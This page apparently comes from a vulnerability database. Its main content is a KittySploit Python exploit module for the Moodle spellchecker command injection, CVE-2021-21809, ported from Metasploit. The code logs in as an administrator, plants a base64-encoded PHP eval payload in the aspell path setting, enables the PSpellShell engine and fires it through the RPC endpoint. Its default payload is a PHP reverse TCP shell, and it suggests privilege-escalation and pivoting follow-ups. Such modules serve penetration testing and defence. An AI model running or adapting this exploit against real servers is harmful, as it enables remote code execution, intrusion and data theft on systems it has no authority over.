Lucene search
+L

Moodle SpellChecker Path Authenticated RCE (CVE-2021-21809)

🗓️ 16 Jul 2026 12:39:41Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com

Authenticated administrator can achieve RCE in Moodle via the spellchecker RPC endpoint.

Related
Refs
Code
ReporterTitlePublishedViews
Family
zdt
zdt
Moodle SpellChecker Path Authenticated Remote Command Execution Exploit
13 Oct 202100:00
–zdt
zdt
zdt
Moodle Authenticated Spelling Binary Remote Code Execution Exploit
13 Oct 202100:00
–zdt
attackerkb
attackerkb
CVE-2021-21809
23 Jun 202122:15
–attackerkb
circl
Circl
CVE-2021-21809
24 Jun 202102:17
–circl
cnnvd
CNNVD
Moodle 操作系统命令注入漏洞
22 Jun 202100:00
–cnnvd
cnvd
CNVD
Moodle Command Execution Vulnerability
25 Jun 202100:00
–cnvd
checkpoint_advisories
Check Point Advisories
Moodle Command Injection (CVE-2021-21809)
26 Jul 202100:00
–checkpoint_advisories
cve
CVE
CVE-2021-21809
23 Jun 202121:25
–cve
cvelist
Cvelist
CVE-2021-21809
23 Jun 202121:25
–cvelist
github
Github Security Blog
Moodle command execution vulnerability exists in the default legacy spellchecker plugin
24 May 202219:06
–github
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""Moodle SpellChecker Path Authenticated RCE — CVE-2021-21809.

An authenticated Moodle administrator can set the aspell system path to a
command injection payload, enable the TinyMCE PSpellShell spell engine, and
trigger execution via the legacy spellchecker RPC endpoint.

Port of Metasploit ``exploit/multi/http/moodle_spelling_path_rce``.
Tested by MSF against Moodle 3.11.2, 3.10.0, and 3.8.0.
"""

from __future__ import annotations

import base64
import re
import time
from typing import Optional

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.moodle import Moodle


class Module(Exploit, Http_client, Moodle):

    __info__ = {
        "name": "Moodle SpellChecker Path Authenticated RCE (CVE-2021-21809)",
        "description": (
            "Moodle allows an authenticated administrator to define spellcheck "
            "settings via the web interface. An administrator can update the "
            "aspell path to include a command injection (similar to CVE-2013-3630). "
            "Requires admin credentials. Tested against Moodle 3.11.2, 3.10.0, 3.8.0."
        ),
        "author": [
            "Adam Reiser",  # Discovery
            "h00die",  # Metasploit module
            "KittySploit Team",
        ],
        "cve": ["CVE-2021-21809"],
        "arch": [Arch.PHP],
        "platform": Platform.PHP,
        "payload": {
            "default": "payloads/singles/cmd/php/reverse_tcp",
            "arch": Arch.PHP,
            "platform": Platform.PHP,
            "category": PayloadCategory.SINGLE,
        },
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2021-21809",
            "https://talosintelligence.com/vulnerability_reports/TALOS-2021-1277",
            "https://www.exploit-db.com/exploits/50140",
        ],
        "tags": [
            "moodle",
            "authenticated",
            "rce",
            "spellchecker",
            "aspell",
            "cve-2021-21809",
            "cms",
        ],
        "agent": {
            "risk": "intrusive",
            "effects": ["active_exploitation", "config_changes"],
            "expected_requests": 12,
            "reversible": True,
            "approval_required": True,
            "produces": ["exploit_paths", "risk_signals"],
            "cost": 1.8,
            "noise": 0.7,
            "value": 1.5,
            "requires": {
                "min_endpoints": 0,
                "min_params": 0,
                "tech_hints_any": ["moodle"],
                "tech_hints_all": [],
                "specializations_any": [],
                "risk_signals_any": [],
                "auth_session": False,
                "capabilities_any": [],
                "capabilities_all": [],
                "confidence_min": {"moodle": 0.3},
                "confidence_min_any": {},
                "endpoint_pattern_any": ["/login/index.php", "/lib/upgrade.txt"],
                "param_any": [],
                "api_surface_ready": False,
            },
            "chain": {
                "produces_capabilities": [
                    {"capability": "rce", "from_detail": ""},
                    {"capability": "shell", "from_detail": ""},
                ],
                "consumes_capabilities": [],
                "option_bindings": {},
                "suggested_followups": [
                    "post/shell/multi/gather/privesc_suggester",
                    "post/shell/multi/manage/pivot_autoroute",
                ],
            },
        },
    }

    path = OptString("/", "Moodle base path", required=False)
    username = OptString("admin", "Moodle administrator username", required=True)
    password = OptString("", "Moodle administrator password", required=True)
    cleanup = OptBool(True, "Restore aspell path and spell engine after exploit", required=False)
    cleanup_delay = OptFloat(5.0, "Seconds to wait before cleanup", required=False, advanced=True)

    def _base(self) -> str:
        return self.moodle_normalize_base_path(str(self.path or "/"))

    def _settings_path(self, section: str) -> str:
        return f"{self.moodle_join_path(self._base(), 'admin', 'settings.php')}?section={section}"

    def _spellcheck_rpc_path(self) -> str:
        return self.moodle_join_path(
            self._base(),
            "lib",
            "editor",
            "tinymce",
            "plugins",
            "spellchecker",
            "rpc.php",
        )

    def _php_payload_code(self) -> str:
        raw = str(self.payload).strip() if self.payload else ""
        if not raw:
            return ""
        code = raw
        if code.startswith("<?php"):
            code = code[5:].lstrip()
        elif code.startswith("<?"):
            code = code[2:].lstrip()
        if code.endswith("?>"):
            code = code[:-2].rstrip()
        return re.sub(r"\s+", " ", code).strip()

    def _aspell_injection(self, php_code: str) -> str:
        """Build backtick command injection for s__aspellpath (no single quotes)."""
        # Base64 avoids quote/newline issues in php -r "..." (MSF BadChars: ').
        b64 = base64.b64encode(php_code.encode("utf-8")).decode("ascii")
        inner = f'eval(base64_decode("{b64}"));'
        escaped = inner.replace("\\", "\\\\").replace('"', '\\"')
        return f'`php -r "{escaped}" &`'

    def _change_aspellpath(self, value: str = "") -> bool:
        section = "systempaths"
        get_path = self._settings_path(section)
        res = self.http_request(method="GET", path=get_path, allow_redirects=True)
        if not res:
            print_error("Error retrieving system paths settings")
            return False

        sesskey = self.moodle_extract_sesskey(res.text or "")
        if not sesskey:
            print_error("Unable to extract sesskey from system paths page")
            return False

        post = self.http_request(
            method="POST",
            path=get_path,
            data={
                "section": section,
                "action": "save-settings",
                "sesskey": sesskey,
                "return": "",
                "s__pathtophp": "",
                "s__pathtodu": "",
                "s__aspellpath": value,
                "s__pathtodot": "",
                "s__pathtogs": "/usr/bin/gs",
                "s__pathtopython": "",
            },
            headers={"Content-Type": "application/x-www-form-urlencoded"},
            allow_redirects=True,
        )
        return bool(post)

    def _set_spellchecker(self, checker: str = "") -> bool:
        # Empty string = None in the GUI (default).
        section = "tinymcespellcheckersettings"
        get_path = self._settings_path(section)
        res = self.http_request(method="GET", path=get_path, allow_redirects=True)
        if not res:
            print_error("No response from TinyMCE spellchecker settings")
            return False

        sesskey = self.moodle_extract_sesskey(res.text or "")
        if not sesskey:
            print_error("Unable to extract sesskey from spellchecker settings")
            return False

        post = self.http_request(
            method="POST",
            path=get_path,
            data={
                "section": section,
                "action": "save-settings",
                "sesskey": sesskey,
                "return": "",
                "s_tinymce_spellchecker_spellengine": checker,
                "s_tinymce_spellchecker_spelllanguagelist": (
                    "+English=en,Danish=da,Dutch=nl,Finnish=fi,French=fr,"
                    "German=de,Italian=it,Polish=pl,Portuguese=pt,Spanish=es,Swedish=sv"
                ),
            },
            headers={"Content-Type": "application/x-www-form-urlencoded"},
            allow_redirects=True,
        )
        return bool(post)

    def _trigger_spellcheck(self) -> Optional[object]:
        spellcheck = '{"id":"c0","method":"checkWords","params":["en",[""]]}'
        return self.http_request(
            method="POST",
            path=self._spellcheck_rpc_path(),
            data=spellcheck,
            headers={"Content-Type": "application/json"},
            allow_redirects=False,
            timeout=max(int(getattr(self, "timeout", None) or 10), 5),
        )

    def _cleanup_settings(self) -> None:
        delay = max(float(self.cleanup_delay or 0.0), 0.0)
        if delay:
            print_status(f"Sleeping {delay}s before cleanup")
            time.sleep(delay)

        print_status(f"Re-authenticating as {self.username} for cleanup")
        try:
            self.clear_cookies()
        except Exception:
            pass

        ok, _ = self.moodle_login(
            str(self.username),
            str(self.password),
            base_path=self._base(),
        )
        if not ok:
            print_error("Failed login during cleanup — settings may still contain the payload")
            return

        print_status("Removing RCE from settings")
        self._change_aspellpath("")
        self._set_spellchecker("")

    def check(self):
        info = self.moodle_detect(base_path=self._base())
        if not info.get("found"):
            print_error("No Moodle instance found")
            return False

        version = info.get("version") or self.moodle_version(base_path=self._base())
        if not version:
            print_warning("Moodle detected but version could not be determined")
            return True

        # Talos advisory: vendor updated docs (2021-04-21) rather than a hard patch;
        # MSF treats versions > 3.0.0 as Appears.
        if self.moodle_version_greater_than(version, "3.0.0"):
            print_status(f"Exploitable Moodle version {version} detected")
            return True

        print_warning(f"Non-exploitable Moodle version {version} detected")
        return False

    def run(self):
        php_code = self._php_payload_code()
        if not php_code:
            print_error("No PHP payload available — set a PHP payload first")
            return False

        print_status(f"Authenticating as user: {self.username}")
        ok, _ = self.moodle_login(
            str(self.username),
            str(self.password),
            base_path=self._base(),
        )
        if not ok:
            print_error("Unable to login — check credentials (admin required)")
            return False
        print_success("Login successful")

        changed = False
        try:
            print_status("Updating aspell path with command injection")
            injection = self._aspell_injection(php_code)
            if not self._change_aspellpath(injection):
                print_error("Failed to update aspell path")
                return False
            changed = True

            print_status("Changing spell engine to PSpellShell")
            if not self._set_spellchecker("PSpellShell"):
                print_error("Failed to set spell engine")
                return False

            print_status("Triggering payload via TinyMCE spellchecker RPC")
            # MSF treats a missing response as success (payload may hang the worker).
            res = self._trigger_spellcheck()
            if res is None:
                print_success("No HTTP response (expected when payload blocks) — check handler")
            else:
                print_status(
                    f"Spellcheck RPC returned HTTP {res.status_code} — verify session/handler"
                )
            return True
        finally:
            if changed and bool(self.cleanup):
                try:
                    self._cleanup_settings()
                except Exception as exc:
                    print_warning(f"Cleanup failed: {exc}")

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Jul 2026 12:39Current
7.8High risk
Vulners AI Score7.8
CVSS 29
CVSS 3.19.1
CVSS 38.2
EPSS0.24173
0